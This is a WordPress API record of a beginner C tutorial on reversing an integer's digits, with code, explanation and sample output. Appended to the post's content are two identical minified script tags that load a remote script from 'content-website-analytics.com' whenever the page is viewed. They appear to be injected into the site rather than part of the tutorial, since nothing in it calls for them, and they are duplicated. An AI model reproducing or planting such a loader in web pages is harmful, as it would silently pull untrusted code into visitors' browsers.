{"id":995,"date":"2024-10-19T13:31:05","date_gmt":"2024-10-19T08:01:05","guid":{"rendered":"https:\/\/codexplained.in\/?p=995"},"modified":"2025-11-24T15:37:54","modified_gmt":"2025-11-24T10:07:54","slug":"reverse-a-number","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=995","title":{"rendered":"Reverse a Number"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() \n{\n    int originalNumber, reversedNumber = 0, remainder;\n\n    \/\/ Get user input\n    printf(&quot;Enter an integer: &quot;);\n    scanf(&quot;%d&quot;, &amp;originalNumber);\n\n    \/\/ Reverse the number\n    while (originalNumber != 0) \n   {\n        remainder = originalNumber % 10; \/\/ Get the last digit\n        reversedNumber = reversedNumber * 10 + remainder; \/\/ Shift and add the digit\n        originalNumber \/= 10; \/\/ Remove the last digit\n    }\n\n    \/\/ Display the result\n    printf(&quot;Reversed Number: %d\\n&quot;, reversedNumber);\n\n    return 0; \/\/ Indicate successful completion\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation<\/h2>\n\n\n\n<p><strong>Including Libraries<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Including Libraries:<br><br>c<br><br>#include &lt;stdio.h&gt;<br><br>This line includes the standard input-output library, allowing us to use functions like printf and scanf.<br><br>Main Function:<br><br>c<br><br>int main() { ... }<br><br>This is the entry point of our program. It returns an integer value indicating how the program finished.<br><br>Variable Declaration:<br><br>c<br><br>int originalNumber, reversedNumber = 0, remainder;<br><br>Here, originalNumber stores the number input by the user, reversedNumber will hold the reversed result, and remainder is used to temporarily store each digit.<br><br>User Input:<br><br>c<br><br>printf(\"Enter an integer: \");<br>scanf(\"%d\", &amp;originalNumber);<br><br>We prompt the user to enter an integer and read that value into originalNumber.<br><br>Reversing the Number:<br><br>c<br><br>while (originalNumber != 0) {<br>    remainder = originalNumber % 10; \/\/ Extract last digit<br>    reversedNumber = reversedNumber * 10 + remainder; \/\/ Build reversed number<br>    originalNumber \/= 10; \/\/ Remove last digit<br>}<br><br>This loop runs until there are no digits left in originalNumber. Inside the loop:<br><br>    We get the last digit using the modulus operator.<br>    We update reversedNumber by shifting its current digits left and adding the last digit.<br>    Finally, we remove the last digit from originalNumber.<br><br>Displaying the Result:<br><br>c<br><br>printf(\"Reversed Number: %d\\n\", reversedNumber);<br><br>After reversing, we print the final result.<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Output<\/h2>\n\n\n\n<p>Enter an integer: 1234<br>Reversed Number: 4321<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation Including Libraries: Including Libraries:c#include &lt;stdio.h&gt;This line includes the standard input-output library, allowing us to use functions like printf and scanf.Main Function:cint main() { &#8230; }This is the entry point of our program. It returns an integer value indicating how the program finished.Variable Declaration:cint originalNumber, reversedNumber = 0, remainder;Here, originalNumber stores the number input by [&hellip;]<\/p>\n","protected":false},"author":42,"featured_media":999,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-995","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/995","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/42"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=995"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/995\/revisions"}],"predecessor-version":[{"id":1406,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/995\/revisions\/1406"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/999"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=995"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=995"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=995"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}